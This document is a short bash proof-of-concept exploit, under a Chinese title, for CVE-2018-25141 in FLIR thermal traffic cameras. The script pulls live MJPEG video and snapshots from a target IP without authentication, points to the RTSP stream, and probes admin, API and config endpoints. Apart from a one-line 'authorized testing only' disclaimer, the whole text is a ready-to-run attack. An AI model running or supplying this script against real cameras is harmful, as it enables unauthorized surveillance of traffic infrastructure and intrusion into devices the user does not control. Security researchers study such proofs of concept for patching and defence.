CVE-2018-25141 FLIR热成像交通摄像头未授权视频流访问漏洞

#!/bin/bash # CVE-2018-25141 PoC - FLIR Thermal Traffic Camera Unauthenticated Video Access # Usage: ./exploit.sh <target_ip> TARGET=$1 PORT=80 if [ -z "$TARGET" ]; then echo "Usage: $0 <target_ip>" exit 1 fi echo "[*] Testing CVE-2018-25141 on target: $TARGET" echo "[*] Target: FLIR Thermal Traffic Camera" # Test 1: Access MJPEG live stream echo "[+] Test 1: Attempting to access live.mjpeg stream..." curl -s -o /tmp/live_test.mjpeg -w "%{http_code}" "http://$TARGET/live.mjpeg" --max-time 10 if [ -s /tmp/live_test.mjpeg ]; then echo "[SUCCESS] MJPEG stream accessible without authentication!" echo "[INFO] Stream saved to /tmp/live_test.mjpeg" else echo "[FAILED] MJPEG stream not accessible" fi # Test 2: Access snapshot image echo "[+] Test 2: Attempting to access snapshot.jpg..." SNAPSHOT_CODE=$(curl -s -o /tmp/snapshot_test.jpg -w "%{http_code}" "http://$TARGET/snapshot.jpg" --max-time 10) echo "[Response Code: $SNAPSHOT_CODE]" if [ -s /tmp/snapshot_test.jpg ]; then echo "[SUCCESS] Snapshot image accessible without authentication!" file /tmp/snapshot_test.jpg else echo "[FAILED] Snapshot not accessible" fi # Test 3: Check RTSP stream availability echo "[+] Test 3: Checking RTSP stream availability..." echo "[INFO] Try connecting with VLC: rtsp://$TARGET/stream" echo "[INFO] Or use ffplay: ffplay rtsp://$TARGET/stream" # Test 4: Enumerate other potentially accessible endpoints echo "[+] Test 4: Enumerating other endpoints..." ENDPOINTS=("/" "/admin" "/api" "/config" "/status") for endpoint in "${ENDPOINTS[@]}"; do CODE=$(curl -s -o /dev/null -w "%{http_code}" "http://$TARGET$endpoint" --max-time 5) echo " $endpoint -> HTTP $CODE" done echo "" echo "[*] Exploitation complete" echo "[!] Note: This PoC is for authorized security testing only"